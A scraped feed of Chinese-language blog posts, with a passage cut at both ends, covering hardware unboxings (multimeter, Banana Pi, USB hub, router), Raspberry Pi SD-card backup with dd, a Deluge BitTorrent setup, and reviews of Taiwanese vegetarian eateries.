數位萬用電錶（三用電表）的簡單開箱文，基本款的電錶，便宜又好用。\n在研發物聯網相關的各種應用時，電錶是必備的工具之一，組裝各種電子零件時時常會需要使用電表來量測。記得以前高中在學電錶時，都是用傳統指針式的三用電錶，而現在大家幾乎都用數位式的萬用電錶了，而且價格都很便宜，基本款的數位萬用電錶只要一千多元，便宜又好用。\n以下是我在拍賣網站上買的一台 Fluke 101 數位萬用電錶，一台只要一千出頭，是 Fluke 的電表中最便宜的入門款，用來量測一些簡單的電壓、電阻都很方便。\nFluke 101 這款數位萬用電錶的特點除了便宜之外，就是它很輕巧，只有 160 公克，攜帶很方便，放在口袋也都沒問題。\nFluke 101 符合 IEC61010-1 CATIII 600V 安全標準，而一般的物聯網應用應該不會用到這種電壓，不過多一些安全保護還是比較好。\n這是所有的內容物，除了電錶與錶筆之外，還有一份說明書與保證書等文件，如果想要看繁體中文的使用手冊，可以從 Fluke 的官方網站上下載。\n這是電表的正面。\n這是電錶的底部，因為 Fluke 101 是最簡單的款式，插孔也很單純，只有兩個插孔。\n這是電錶的背面。\n電池盒的蓋子上有一個安全鎖，這可以確保在工作時蓋子不會輕易被其他工具擠壓而脫落。\n這款電錶是使用兩顆 AAA 電池。\n這是錶筆。\n這是操作面板，轉盤最左邊的 OFF 是關機，接著分別是交流伏特、直流伏特、交流毫伏、電阻、電容與頻率。\n這是下方的輸入端子接孔，上面有標明它符合 600V CAT III 的安全標準。\n這是把錶筆接上去的樣子。\n這樣小小一台，隨身攜帶也很方便。\n這是我用這台電錶量測電阻的樣子，數位式的電錶在量測時很方便，不用像傳統指針式的電錶需要一直調整量測範圍。\nFluke 有非常多款電錶，各種等級都有，如果只是用在物聯網的應用上、量測一些簡單的電子零件，這一款應該就足夠了，以我個人而言，也只會使用這些功能而已。\n電錶不是玩具！使用前請先確定您對於電學有足夠的認識，以免發生危險。\n","permalink":"https://blog.gtwang.org/iot/fluke-101-digital-multimeter/","summary":"\u003cp\u003e本篇是 Fluke 101 數位萬用電錶（三用電表）的簡單開箱文，基本款的電錶，便宜又好用。\u003c/p\u003e\n\u003cp\u003e在研發\u003ca href=\"/categories/%E7%89%A9%E8%81%AF%E7%B6%B2/\"\u003e物聯網\u003c/a\u003e相關的各種應用時，電錶是必備的工具之一，組裝各種電子零件時時常會需要使用電表來量測。記得以前高中在學電錶時，都是用傳統指針式的三用電錶，而現在大家幾乎都用數位式的萬用電錶了，而且價格都很便宜，基本款的數位萬用電錶只要一千多元，便宜又好用。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e以下是我在拍賣網站上買的一台 Fluke 101 數位萬用電錶，一台只要一千出頭，是 Fluke 的電表中最便宜的入門款，用來量測一些簡單的電壓、電阻都很方便。\u003c/p\u003e","title":"[開箱] Fluke 101 數位萬用電錶（三用電表），便宜輕巧的基本款"},{"content":"這裡介紹在 Windows、Linux 與 Mac OS X 中，如何備份與回復樹莓派 Raspberry Pi 的 MicroSD 記憶卡。\n在使用樹莓派（Raspberry Pi）時，不管是開發與測試嵌入式系統，或是作為娛樂用途，對於新手而言，不小心把整個系統搞砸以致於重灌整個系統是常有的事情，雖然樹莓派的安裝過程很容易，不過要依照異己的環境調整許多系統上的偏好設定，並且更新所有的套件也是很費時又費力的苦工。\n而對於我自己這種 Linux 老手而言，雖然系統都很熟，不至於把系統搞砸，不過因為時常要測試各種核心的模組與參數，為了確保測試環境的單純，都會使用剛安裝好的系統來進行測試，所以也是常常會需要重灌系統。\n除了重灌系統之外，我們也可以直接將安裝好樹莓派系統的 MicroSD 記憶卡直接備份起來，在需要的時候直接從備份檔還原，省去冗長的安裝與設定過程，以下介紹在 Windows、Linux 與 Mac OS X 中備份 MicroSD 記憶卡的步驟。\nWindows 在 Windows 中若要備份或回復 MicroSD 卡的資料，可以使用 Win32 Disk Imager 這個開放原始碼的免費工具。\n名稱：Win32 Disk Imager\n下載網址：sourceforge\nWin32 Disk Imager 是專門用來備份 USB 隨身碟、SD 卡或 CF 卡的小工具，安裝好之後，先將 MicroSD 卡插進電腦，並執行 Win32 Disk Imager，就會看到這樣的操作畫面。\n首先選擇備份影像檔的儲存路徑與檔案名稱（Image File），應且選擇要備份的設備（Device），接著按下「Read」按鈕即可將 MicroSD 卡的資料全部備份至檔案中。\n如果要從備份影像檔中將資料回復至 MicroSD 卡，則按下「Write」按鈕即可。\n「Read」與「Write」剛好是兩個相反方向的資料複製動作，在使用時請小心選擇，如果按錯了的話，可能會造成全部的資料完全損毀！\n接下來會介紹在 Linux 與 Mac OS X 中 MicroSD 卡的備份與回復方法，請繼續閱讀下一頁。\nLinux 不管您是使用哪一種 Linux 發行版，備份與還原 MicroSD 卡的步驟都是一樣的。首先將 MicroSD 卡插進電腦中，使用 lsblk 檢查一下磁碟的狀況：\nlsblk 輸出會類似這樣：\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 465.8G 0 disk ├─sda1 8:1 0 400M 0 part ├─sda2 8:2 0 300M 0 part /boot/efi ├─sda3 8:3 0 128M 0 part ├─sda4 8:4 0 200G 0 part ├─sda5 8:5 0 141.6G 0 part ├─sda6 8:6 0 1.9G 0 part [SWAP] ├─sda7 8:7 0 28.4G 0 part └─sda8 8:8 0 93.1G 0 part / sdb 8:32 1 14.9G 0 disk ├─sdb1 8:33 1 60M 0 part /media/gtwang/boot └─sdb2 8:34 1 14.8G 0 part /media/gtwang/ad6203a1-ec50-4f44-a1c0-e6c3dd4c9 我們可以從磁碟的容量來辨識哪一個是 MicroSD 卡，以這裡的例子來說，我的 MicroSD 卡的容量大小是 16 GB，所以是 sdb。\n如果是直接使用電腦上的 MicroSD 卡插槽，有可能會有這樣的輸出：\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 465.8G 0 disk ├─sda1 8:1 0 400M 0 part ├─sda2 8:2 0 300M 0 part /boot/efi ├─sda3 8:3 0 128M 0 part ├─sda4 8:4 0 200G 0 part ├─sda5 8:5 0 141.6G 0 part ├─sda6 8:6 0 1.9G 0 part [SWAP] ├─sda7 8:7 0 28.4G 0 part └─sda8 8:8 0 93.1G 0 part / mmcblk0 179:0 0 14.9G 0 disk ├─mmcblk0p1 179:1 0 60M 0 part /media/gtwang/boot └─mmcblk0p2 179:2 0 14.8G 0 part /media/gtwang/ad6203a1-ec50-4f44-a1c0-e6c3 這裡的 mmcblk0 就是 MicroSD 卡。\n在 Linux 系統中可以使用 dd 指令來備份 MicroSD 卡：\nsudo dd bs=1M if=/dev/sdb of=/home/gtwang/backup.img if 參數所指定的 /dev/sdb 就是我們剛剛查到的 MicroSD 卡，而 of 參數所指定的 /home/gtwang/backup.img 則是要儲存備份影像檔的路徑與檔案名稱，請依照自己的狀況修改。\n要從備份檔回復 MicroSD 卡的話，也是用 dd 指令：\nsudo dd bs=1M if=/home/gtwang/backup.img of=/dev/sdb 把 if 與 of 對調就會變成回復的動作，當然這個動作就會把原本 MicroSD 卡中的所有資料覆蓋掉，執行前請確認 SD 卡中的資料不會再使用了。\n另外我們也可以配合 gzip 將備份的影像檔壓縮，這樣可以節省備份硬碟的空間，再使用 date 自動產生日期放在檔名中，讓備份檔更好辨識：\nsudo dd bs=1M if=/dev/sdb | gzip \u0026gt; /home/gtwang/image-`date +%d%m%y`.gz 經過壓縮的備份影像檔如果要回復的話，就先用 gzip 解壓縮，再給 dd 寫入 MicroSD 卡即可：\nsudo gzip -dc /home/gtwang/image.gz | dd bs=1M of=/dev/sdb 這樣使用壓縮的影像檔進行 MicroSD 卡的備份，整個流程也是兩行指令就可以完成，很方便。\nMac OS X 在 Mac OS X 中備份 MicroSD 卡的步驟跟在 Linux 中類似，也是使用 dd 指令，只不過操作步驟有一些小差異。\n首先將 MicroSD 卡插進電腦中之後，使用 diskutil 查看硬碟狀況：\ndiskutil list 輸出為：\n/dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *1.0 TB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 999.3 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 (external, physical): #: TYPE NAME SIZE IDENTIFIER 0: *13.1 MB disk1 /dev/disk2 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *15.9 GB disk2 1: Windows_FAT_16 RECOVERY 856.8 MB disk2s1 2: Linux 33.6 MB disk2s3 3: Windows_FAT_32 boot 62.9 MB disk2s5 4: Linux 15.0 GB disk2s6 畫面會像這樣：\n我們可以從磁碟的大小與分割區的檔案系統來判斷 Raspberry Pi 的 MicroSD 卡是哪一張，以這個例子來說，/dev/disk2 就是一張有安裝 Raspberry Pi 系統的 16GB MicroSD 卡。\n確定了 MicroSD 卡的編號之後，就可以使用 dd 來備份 MicroSD 卡的資料了：\nsudo dd if=/dev/rdisk2 of=~/Desktop/backup.img bs=1m dd 的 if 參數是指定資料來源，也就是 MicroSD 卡，而 of 則是指定備份影像檔的儲存路徑與檔案名稱，請依照自己的狀況修改。\n要從備份檔回覆 MicroSD 卡的話，就將 if 與 of 所指定的位置對調：\nsudo dd if=~/Desktop/backup.img of=/dev/rdisk2 bs=1m diskutil 所列出來的 MicroSD 卡是 /dev/disk2，而這裡 dd 的 if 參數所使用的是 /dev/rdisk2，兩個都是同一張 MicroSD 卡，不過 /dev/rdisk2 是沒有經過緩衝區、直接進行存取的 raw device，所以讀取與寫入速度會比較快（請參考 hdiutil 的線上手冊）。如果使用 /dev/rdisk2 失敗的話，可以改用 /dev/disk2。\n使用 gzip 將備份的影像檔壓縮：\nsudo dd if=/dev/rdisk2 bs=1m | gzip \u0026gt; ~/Desktop/backup.gz 經過壓縮的備份影像檔如果要回復的話，就先用 gzip 解壓縮，再給 dd 寫入 MicroSD 卡即可：\ngzip -dc ~/Desktop/backup.gz | sudo dd of=/dev/rdisk2 bs=1m 參考資料 Raspberry Pi Official Magazine Raspberry Pi Forums StackExchange TechTonic makeuseof The Pi Hut HTPC Guides Marker Pro ","permalink":"https://blog.gtwang.org/iot/backup-and-restore-raspberry-pi-sd-card/","summary":"\u003cp\u003e這裡介紹在 Windows、Linux 與 Mac OS X 中，如何備份與回復樹莓派 Raspberry Pi 的 MicroSD 記憶卡。\u003c/p\u003e\n\u003cp\u003e在使用樹莓派（Raspberry Pi）時，不管是開發與測試嵌入式系統，或是作為娛樂用途，對於新手而言，不小心把整個系統搞砸以致於重灌整個系統是常有的事情，雖然樹莓派的安裝過程很容易，不過要依照異己的環境調整許多系統上的偏好設定，並且更新所有的套件也是很費時又費力的苦工。\u003c/p\u003e","title":"備份與回復樹莓派 Raspberry Pi 的 MicroSD 記憶卡"},{"content":"這是最近給阿玄買的組合積木，寫個開箱文紀錄一下。\n自從上次買了直升機的組合積木之後，阿玄就越來越會自己組積木了，而這次又買了一個絕地截擊機，以下是簡單的開箱文。\n阿玄買了新的積木，一副很高興的樣子。\n這是阿玄要求要拍的 pose。\n這是積木的外盒。\n等不及要拆開來玩了。\n很認真的在開箱。\n積木有兩包，在加上一張組合說明書。\n接著要開始組合積木了。\n這個小太空人是阿玄自己看著說明書組裝的喔。\n阿玄拿著自己組裝好的小太空人，很有成就感的樣子。\n因為阿玄等不及要玩了，剩下的大部分都是我幫忙組裝的。\n這台飛機整體的設計還不錯，組裝起來很漂亮。\n很好玩的樣子。\n這個飛機的機翼是可以折下去的。\n","permalink":"https://blog.gtwang.org/unboxing/mgb-building-block-fire-spaceship-unboxing/","summary":"\u003cp\u003e這是最近給阿玄買的組合積木，寫個開箱文紀錄一下。\u003c/p\u003e\n\u003cp\u003e自從上次買了\u003ca href=\"/unboxing/kazi-building-block-fire-helicopter-unboxing/\"\u003e直升機的組合積木\u003c/a\u003e之後，阿玄就越來越會自己組積木了，而這次又買了一個絕地截擊機，以下是簡單的開箱文。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e阿玄買了新的積木，一副很高興的樣子。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄\" loading=\"lazy\" src=\"/unboxing/mgb-building-block-fire-spaceship-unboxing/mgb-building-block-fire-spaceship-unboxing-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是阿玄要求要拍的 pose。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄\" loading=\"lazy\" src=\"/unboxing/mgb-building-block-fire-spaceship-unboxing/mgb-building-block-fire-spaceship-unboxing-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是積木的外盒。\u003c/p\u003e","title":"[開箱] MGB 美高寶組合積木：星球戰記絕地截擊機"},{"content":"這是之前買的一片香蕉派 Banana Pi BPi-M1 開發板，補個開箱文。\n香蕉派（Banana Pi）是跟樹莓派很類似的開發版，使用 ARM Cortex-A7 雙核心中央處理器，有 1GB 的 DDR3 記憶體、SATA 插槽、麥克風等各種輸入與輸出，可作為一台小型的電腦使用。\n內容物只有一片 Banana Pi BPi-M1 板子。\n這是板子的正面。它跟樹莓派一樣有 DSI 的顯示輸出，也有 CSI 的介面可以接攝影機。\n這是板子的背面。AllWinner A20 使用的 CPU 是 ARM Cortex-A7 Dual-Core，右邊那個是 SD 卡的插槽，A20 左邊的兩顆是 1GB DDR3 SDRAM 的記憶體。\n這一側有四個插槽，由左到右分別是 SATA 電源、Micro USB 電源、SATA 與 HDMI 輸出。\n這一側有一個乙太網路孔、兩個 USB 2.0 插座，最右邊有一個小小圓圓的是紅外線接收器（IR Receiver）。\n這一側有音源輸出、麥克風（小小圓圓的那一個）、AV 影像輸出，還有一排的 GPIO 針腳。\n這一側從左邊開始看分別是電源按鈕、重開機（reset）按鈕與 USB OTG 埠。\n以下是幾張不同角度的照片。\n這張板子小小一張，裡面的東西還不少。\n香蕉派的使用跟樹莓派一樣，都是把影像檔寫進 SD 卡中，插進去就可以使用了，在香蕉派的官方網站上有提供很多種不同的作業系統影像檔，大家可以選擇自己喜歡的作業系統來使用。\n以下是 Mac OS X 中製作 SD 卡的步驟，事實上這些步驟跟製作樹莓派 Micro SD 卡的步驟一模一樣。\nStep 1\n把 SD 卡插進電腦中，檢查所有磁碟列表，確認 SD 卡的磁碟編號：\ndiskutil list 輸出會類似這樣：\n/dev/disk0 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: GUID_partition_scheme *1.0 TB disk0 1: EFI EFI 209.7 MB disk0s1 2: Apple_HFS Macintosh HD 999.3 GB disk0s2 3: Apple_Boot Recovery HD 650.0 MB disk0s3 /dev/disk1 (external, physical): #: TYPE NAME SIZE IDENTIFIER 0: *13.1 MB disk1 /dev/disk2 (internal, physical): #: TYPE NAME SIZE IDENTIFIER 0: FDisk_partition_scheme *8.1 GB disk2 1: Windows_FAT_16 RECOVERY 1.2 GB disk2s1 2: Linux 33.6 MB disk2s5 3: Windows_FAT_32 boot 66.1 MB disk2s6 4: Linux 6.8 GB disk2s7 以這個例子來說，我所使用的是一張 8GB 的 SD 卡，編號是 2。\nStep 2\n接著卸載 SD 卡：\ndiskutil unmountDisk /dev/disk2 這裡的 /dev/disk2 要對應到自己的 SD 卡，請依自己的狀況修改，不可以直接複製、貼上！\nStep 3\n然後將下載下來的影像檔寫入 SD 卡：\nsudo dd bs=2m if=BPI_Ubuntu15-04_beta_V2.img of=/dev/rdisk2 這裡的 /dev/disk2 同樣要自己修改。而 BPI_Ubuntu15-04_beta_V2.img 就是放下載回來的影像檔。（如果下載下來的影像檔有經過壓縮，記得要先解壓縮才能放在這裡使用）\nStep 4\n把製作好的 SD 卡插入香蕉派。\nStep 5\n再接上電源、滑鼠、鍵盤與螢幕，就可以開始使用了。\n由於 USB 插座只有兩個，若要插隨身碟的話，就要把鍵盤或滑鼠拔一個起來。\n這是香蕉派 Banana Pi 使用 Ubuntu 15.04 MATE beta 4.0 的桌面畫面。\n這個 MATE 的桌面環境使用起來就跟一般的 Ubuntu 版本幾乎一模一樣。\n參考資料 葉難 ","permalink":"https://blog.gtwang.org/iot/banana-pi-bpi-m1-development-board-unboxing/","summary":"\u003cp\u003e這是之前買的一片香蕉派 Banana Pi BPi-M1 開發板，補個開箱文。\u003c/p\u003e\n\u003cp\u003e香蕉派（Banana Pi）是跟樹莓派很類似的開發版，使用 ARM Cortex-A7 雙核心中央處理器，有 1GB 的 DDR3 記憶體、SATA 插槽、麥克風等各種輸入與輸出，可作為一台小型的電腦使用。\u003c/p\u003e","title":"[開箱] 香蕉派 Banana Pi BPi-M1 開發板，ARM 雙核心 CPU、1G DDR3 記憶體"},{"content":"本文是 BROWAY USB 3.0 7 埠集線器（Hub）的開箱文。\n現在很多的電腦週邊設備都是使用 USB 的方式連接電腦，如果 USB 設備很多、時常需要插拔的話，就可以考慮買一個 USB 的集線器（Hub），這樣在使用上會比較方便。\n以下是我買的 BROWAY USB 3.0 7 埠集線器，順便寫個簡單的開箱文。\n打開外盒。\n這是所有的內容物，包含 7 埠的集線器、電源、 USB 3.0 的傳輸線與一片魔鬼氈。\n七個 USB 連接埠都是 USB 3.0 的。\n集線器的旁邊有一個指示燈。\n側面的設計跟 Mac 的鍵盤幾乎一模一樣。\n這是底部的樣子。\n背面有一個電源輸入孔與一個 USB 3.0 插孔。\n這個 USB 3.0 插孔是連接電腦端用的。\n接上電腦之後，指示燈就會亮起。\n如果只是插幾個 USB 隨身碟的話，是可以不需要插外接式電源的，這樣就可以直接使用。\n有了這台集線器，就可以一次多插好幾個 USB 裝置，很方便。\n如果需要使用比較耗電的 USB 裝置，或是要同時插比較多隨身碟的話，就要插上外接式電源，以免電力不足。\n這台集線器所搭配的變壓器可以輸出 4000mA 的電流，供給 7 個 USB 裝置可以說是非常足夠的。\n這是跟我的 iMac 放在一起的樣子，整個風格都很一致。\n這樣以後要插拔 USB 裝置就不用老是繞道電腦後面，直接在座位上就可以處理，方便多了。\n","permalink":"https://blog.gtwang.org/unboxing/broway-usb3-7port-hub/","summary":"\u003cp\u003e本文是 BROWAY USB 3.0 7 埠集線器（Hub）的開箱文。\u003c/p\u003e\n\u003cp\u003e現在很多的電腦週邊設備都是使用 USB 的方式連接電腦，如果 USB 設備很多、時常需要插拔的話，就可以考慮買一個 USB 的集線器（Hub），這樣在使用上會比較方便。\u003c/p\u003e","title":"[開箱] BROWAY USB 3.0 7 埠集線器 Hub"},{"content":"本文是 TOTOLINK N305RB 無線路由器的開箱文。\n最近因為需要一台簡單的 VPN 路由器，所以上網找了一下，發現這台 IP 分享器只要幾百塊就有 VPN 的功能，所以就直接買來測試一下。\n這是路由器的外盒。\n打開盒子之後的樣子。\n這是所有的內容物。\n它在接上電源之後，自己就會開機（沒有電源開關），他的預設 IP 位址是 192.168.1.1，開啟這個網址這可以看到網頁的管理頁面。\n預設的管理者帳號與密碼都是 admin。\n這是他的管理介面，系統狀態會顯示基本的網路狀態。\n基本的網路連線設定，可輸入 ADSL 的帳號密碼。\n基本的無線網路設定。\n這是 VPN 的管理頁面，有支援 MPPE 加密。\n這台也有支援 DDNS（Dynamic DNS）的功能，支援的服務有 No-IP、ChangeIP、DtDNS、2221.org、3322.org 與 dyndns.org。\n我的 DDNS 是使用 No-IP 的免費方案，有時候在 DDNS 的狀態上會顯示連線失敗，但是平常放著不管它的時候，好像又都正常，目前還堪用。\n這是 QoS 的設定頁面，可以控制網路流量。\n這是總連線數資訊，可以看每一台電腦的流量統計。\n連接埠監控功能可以讓所有的封包在傳送時同時複製一份到第四個連接埠，方便網路管理者監控網路傳輸的資料。\n這是防火牆的設定頁面。\n這是區域網路與 DHCP 的 IP 配置設定。\n這是網路連線快速設定的畫面，可以引導使用者逐步完成基本的網路設定。\n這是無線網路的快速設定的畫面。\n這台無線路由器我用起來感覺不是非常穩，像 DDNS 有時後會連不上（顯示連線失敗），另外我之前在設定遠端管理功能的時候，改了一堆設定之後感覺系統出問題，完全連不進去，而重開機後就正常了。\n當然這樣的價位沒辦法要求很好的品質與穩定度，目前我是拿來當作測試使用，若只是拿來放在家裡上網，當作個人使用的 VPN 伺服器，倒是還不錯，因為真的很便宜，但如果是工作用的話，可能就要換穩定度比較好的路由器了。\n","permalink":"https://blog.gtwang.org/unboxing/totolink-n305rb-wireless-router-unboxing/","summary":"\u003cp\u003e本文是 TOTOLINK N305RB 無線路由器的開箱文。\u003c/p\u003e\n\u003cp\u003e最近因為需要一台簡單的 VPN 路由器，所以上網找了一下，發現這台 IP 分享器只要幾百塊就有 VPN 的功能，所以就直接買來測試一下。\u003c/p\u003e","title":"[開箱] TOTOLINK N305RB 進階極速無線寬頻路由器"},{"content":"捷運古亭站附近的客來源素坊是一家素食拉麵店，主要的餐點有拉麵、鍋貼與水餃等各式麵食。\n客來源素坊南昌店位於台北捷運古亭站的二號出口附近，從捷運站走出來不用一分鐘就到了，非常方便。\n紅色的大招牌很明顯，走到南昌路上就一定可以看到。\n這家素食店因為價格便宜、餐點既有特色又好吃，平常生意都很不錯，桌椅擺了兩個騎樓，有時候還有外國人來吃。\n這家店雖然沒有漂亮的裝潢，但是服務品質卻是一流，店內四、五個人手，不管是上菜、收碗盤、清潔等等動作都很迅速。\n這是所有的菜單，每一道都很有特色，也有燙青菜與各式小菜可以點。（這張菜單是 2018 年更新的）\n這是 2018 年更新的菜單（感謝陳彥良提供照片）。\n這是有藥膳湯頭的紅燒拉麵。\n這個是很多人都喜歡吃的鍋貼，剛煎好的鍋貼外皮酥脆、內餡飽滿，非常好吃。\n這裡的鍋貼另外一個特色是它的香椿沾醬，酥脆的鍋貼加上香椿的香氣，口感一流。\n因為鍋貼是很搶手的餐點，這裡的鍋貼都是現煎的，有時候人比較多，點鍋貼就會需要等一下，如果是趕時間的人可以事先預約外帶，或是點麵類的餐點，拉麵的話通常都會比較快。\n而老闆在掌控時間上都很專業，如果要等比較久的話，也會預估需要的時間告知顧客，顧客就可以考量自己的時間，決定是否要等，或是改點其他比較快餐點。\n這是味噌拉麵，湯頭很好喝，料也很多，菇是一整朵的，豆腐也是好大一塊。\n這是咖哩拉麵，他的咖哩湯頭很特別，跟一般台灣的咖哩不太一樣，有道地的南洋風味，非常好喝。不過他有一點點辣，我個人感覺是剛好，如果不吃辣的人就要注意一下。\n這是泰式酸辣麵，有一點辣，口味很特別，很好吃。\n這是泰式酸辣湯餃。\n餃子的皮很 Q，餡料也很特別，好像有加香椿。\n這是什錦拉麵，一碗 55 元，料也是很多。\n這一碗是餛飩拉麵，它的餛飩蠻大顆的。\n裡面的餡料跟水餃差不多，都有加香椿進去。\n一盤小菜，海帶與豆乾。\n其他還有很多餐點看起來都很不錯，推薦大家可以去吃吃看。\n店名：客來源素坊（古亭南昌店）\n地址：台北市中正區南昌路二段 221 號（捷運古亭站 2 號出口）\n網站：Facebook 粉絲專頁\n","permalink":"https://blog.gtwang.org/life/kelaiyuan-vegetarian-restaurant-mrt-guting-taipei/","summary":"\u003cp\u003e捷運古亭站附近的客來源素坊是一家素食拉麵店，主要的餐點有拉麵、鍋貼與水餃等各式麵食。\u003c/p\u003e\n\u003cp\u003e客來源素坊南昌店位於台北捷運古亭站的二號出口附近，從捷運站走出來不用一分鐘就到了，非常方便。\u003c/p\u003e","title":"[台北素食] 客來源素坊：素食拉麵、鍋貼、水餃，近捷運古亭站"},{"content":"香淳臭豆腐是台南新營的一家臭豆腐，使用純中藥泡製，不使用回鍋油，素食者也可以吃。\n香淳臭豆腐的地點在新營的復興路上，很靠近第一市場。這裡的臭豆腐標榜使用純中藥泡製，不使用回鍋油，店內環境整潔，座位也很寬敞。\n香淳臭豆腐目前已停業。\n這是香淳臭豆腐的店門口。\n門口有黃色的大招牌，這家臭豆腐的特色是「豆腐香、菜清脆」，跟一般印象中的臭豆腐不同，是不會臭的臭豆腐，連小朋友都愛吃。\n各種器具看起來都整理得很乾淨。\n店內的環境也很不錯，都很乾淨，座位也不少，還有電視可以看。\n我們點了一盤大盤的臭豆腐，這樣一盤是 60 元，配上泡菜看起來很不錯，臭豆腐底下還有醬汁，吃的時候要記得先沾一下。\n這裡的臭豆腐是用純中藥泡製的，聞起來也不會臭，在店內用餐也不會感覺有臭味，吃起來很香、很好吃。\n臭豆腐外表酥酥的外皮。\n裡面是軟軟的豆腐，我個人感覺是很好吃。\n如果是在店內用餐的話，臭豆腐本身都是素食的，桌上有辣椒醬與蒜泥，想要加的人可以自己加，而如果是外帶的話，醬料會預先加進臭豆腐裡面，素食者記得要跟老闆娘說自己要的是素食的，不要加到蒜泥。\n今天第一次帶我們家阿玄來，老闆娘還很貼心的多給我們一個盤子，方便小朋友一起吃。\n因為阿玄第一次吃臭豆腐，一開始還怕會很臭，吃了之後就說很香、很好吃！\n很好吃的樣子。\n阿玄一邊吃臭豆腐，一邊看電視。\n這是香淳臭豆腐名片。\n店名：香淳臭豆腐\n地址：臺南市新營區復興路 55 號\n電話：0985-596552\n營業時間：下午 15：00 ～ 21：00（週一公休）\n網站：Facebook 粉絲專頁\n","permalink":"https://blog.gtwang.org/life/xiangchun-vegetarian-stinky-tofu-sinying-tainan/","summary":"\u003cp\u003e香淳臭豆腐是台南新營的一家臭豆腐，使用純中藥泡製，不使用回鍋油，素食者也可以吃。\u003c/p\u003e\n\u003cp\u003e香淳臭豆腐的地點在新營的復興路上，很靠近第一市場。這裡的臭豆腐標榜使用純中藥泡製，不使用回鍋油，店內環境整潔，座位也很寬敞。\u003c/p\u003e","title":"[新營素食] 香淳臭豆腐，純中藥泡製，不使用回鍋油，素食可用"},{"content":"這裡介紹如何使用樹莓派 Raspberry Pi 安裝 Deluge，自己打造一個 BT 下載專用機，既經濟又省電。\n許多人都會使用 BT 來下載各種檔案，但是長時間的開機對於一般的電腦來說會造成很大的負擔，大量的資料存取也會造成硬碟的耗損，另外電費也是一個需要考量的問題，這也是很多人雖然想用 BT 但又不敢用太多的原因之一。\n以下我們介紹如何使用樹莓派自己 DIY 製作一個 BT 下載專用機，不僅成本低，而且又省電、不佔空間，非常方便。\n設定固定 IP 位址 由於我們要將樹莓派打造成一個 headless 的 BT 專用設備，這樣的設備通常都只會接一條網路線與一條電源線，不接任何螢幕、鍵盤與滑鼠，所有的控制都是透過 SSH 連線的方式遠端操作，而 Raspbian 預設會使用 DHCP 的方式自動取得 IP，為了讓連線方便，我們可以把 DHCP 關閉，直接設定一個固定 IP 位址，這樣每次連線時就不用老是需要從 IP 分享器上查樹莓派的 IP 位址。\n首先將 DHCP 的服務關閉：\nupdate-rc.d dhcpcd disable 編輯 /etc/network/interfaces，設定固定的 IP 位址：\n#iface eth0 inet manual auto eth0 iface eth0 inet static address 192.168.0.200 network 255.255.255.0 broadcast 192.168.0.255 gateway 192.168.0.1 dns-nameservers 168.95.192.1 168.95.1.1 接著可以重新啟動樹莓派，測試看看新的網路設定是否可以正常運作。\nSSH 伺服器 Raspbian 預設會開啟 SSH 伺服器，我們可以使用 service 指令檢查一下伺服器的狀態：\nservice ssh status 輸出會像這樣：\n● ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled) Active: active (running) since Sun 2015-12-13 08:51:35 CST; 1h 39min ago Main PID: 439 (sshd) CGroup: /system.slice/ssh.service └─439 /usr/sbin/sshd -D 接著可以測試一下 SSH 的連線：\nssh pi@192.168.0.200 只要確定樹莓派可以正常透過網路連線，就可以把螢幕、鍵盤與滑鼠等設備拔掉了，之後所有的動作就可以遠端透過 SSH 連線來操作。\n安裝 Deluge 伺服器 安裝之前，先更新一下系統：\nsudo apt-get update sudo apt-get upgrade 使用 apt 安裝 Deluge：\nsudo apt-get install deluged deluge-console deluge-web Deluge 有好幾種使用者介面（UI）可以選擇，要使用哪一種就看個人喜好，我這裡是同時安裝終端機（deluge-console）與網頁（deluge-web）兩種版本，正常的時候會使用網頁來控制，而終端機的版本則是當作備用。\n裝好了之後，啟動 Deluge 的 daemon：\ndeluged 接著再啟動網頁的操作介面：\ndeluge-web deluge-web 預設會使用 8112 這個連接埠，而網頁介面的預設密碼是 deluge，輸入密碼後就可以登入使用。\n第一次登入時，它會問你要不要變更密碼。\n接著選擇要連線的 Deluge 伺服器，一般來說只會有一個可以選，然後按下「Connect」就可以連線了。\n這個網頁的操作介面都很直覺，只要加入 BT 的種子就可以進行下載了，至於下載檔案的存放路徑與各種相關設定都可在網頁的介面上設定，非常方便。\n當我們把種子上傳到上面，讓它開始進行下載的動作之後，我們就可以把網頁關掉，甚至把之前執行的 deluge-web 網頁伺服器關閉也沒有關係，所有的下載工作是由 deluged 這個背景 daemon 所負責的，網頁介面可以在需要看下載進度的時候再開啟就可以了。\n如果想要讓 deluge-web 網頁介面的伺服器放在背景執行，可以使用 --fork 參數：\ndeluge-web --fork 另外 deluge-web 也支援 HTTPS 加密的網頁：\ndeluge-web --ssl 除了網頁介面之外，我們也可以透過 SSH 連線，在連線到樹莓派之後，用終端機來看下載的進度：\ndeluge-console 在這個介面中，可以進行一些簡單的操作與查詢。\n在這個介面中所有的操作都要透過指令，例如查詢各個 BT 種子下載的狀態，可以執行 